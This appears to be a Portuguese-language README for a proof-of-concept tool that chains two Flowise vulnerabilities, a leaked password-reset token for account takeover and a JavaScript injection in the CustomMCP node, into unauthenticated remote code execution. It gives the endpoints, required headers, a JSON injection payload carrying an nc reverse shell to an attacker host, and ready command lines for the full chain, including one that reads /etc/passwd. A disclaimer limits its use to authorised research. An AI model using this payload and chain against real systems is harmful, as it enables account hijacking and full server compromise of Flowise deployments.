PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado.
⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada.
Executar esta ferramenta contra sistemas que você não possui ou sem permissão escrita para testar é ilegal.
Este repositório combina duas vulnerabilidades críticas no Flowise em uma única ferramenta de PoC modular.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| Tipo | Tomada de Conta | Execução Remota de Código |
| Autenticação Necessária | Nenhuma | Sim (qualquer conta válida) |
| CVSS | 9.8 Crítico | Crítico |
| Afetados | Nuvem + Self-hosted | Self-hosted |
As duas vulnerabilidades se encadeiam naturalmente: a CVE-2025-58434 fornece tomada de conta não autenticada, o que satisfaz o requisito de autenticação da CVE-2025-59528 — alcançando RCE não autenticada em uma única execução automatizada.
Causa raiz: O endpoint forgot-password retorna o token de redefinição de senha (tempToken) diretamente no corpo da resposta HTTP, em vez de enviá-lo apenas por e-mail.
Etapas do ataque:
POST /api/v1/account/forgot-password com qualquer e-mail registradotempToken da resposta JSON — sem precisar acessar o e-mailPOST /api/v1/account/reset-password com o token vazado → defina uma nova senhaResposta vazada (resumida):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
Causa raiz: O nó CustomMCP passa o mcpServerConfig fornecido pelo usuário diretamente para o construtor Function() do JavaScript, sem sanitização. Como o Flowise roda em Node.js, o código injetado tem acesso total a child_process, fs e todos os módulos nativos do Node.js.
Caminho de código vulnerável:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← entrada de usuário não sanitizada
Cabeçalhos necessários:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
Payload de injeção padrão (reverse shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
Nota: Os payloads de reverse shell usam
cp.exec()(assíncrono / fire-and-forget) para que a requisição HTTP retorne imediatamente e a ferramenta não sofra timeout. Comandos comuns usamcp.execSync()e retornam a saída inline.
Attacker Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← token leaked in response
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO complete
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← cookies extracted
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() fires in background]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
Attacker's nc listener ←─────────────── Server connects back
✓ Full RCE from zero credentials
| Componente | Status |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | Afetado pela CVE-2025-58434 |
| Flowise self-hosted (todas as versões anteriores ao patch) | Afetado por ambas as CVEs |
Consulte os avisos de segurança oficiais do Flowise para os números das versões corrigidas.
flowise-dual-cve-poc/
├── flowise_poc.py # Main PoC — all modules + chain mode
├── requirements.txt # Python dependencies
├── README.md # This file
└── DISCLAIMER.md # Full legal notice
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
Nenhuma flag de modo é necessária. Se você executar o script sem --chain ou --module, ele roda automaticamente no modo de cadeia completo. O payload de RCE padrão é um reverse shell — basta fornecer --lhost e --lport.
# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
Inicie seu listener antes de executar:
nc -lvnp 4444
python3 flowise_poc.py -h
Executa todas as quatro etapas de ponta a ponta: vazar token → redefinir senha → login → RCE.
# Reverse shell (default payload)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
Vaza o tempToken e redefine a senha da conta. Para antes do login/RCE.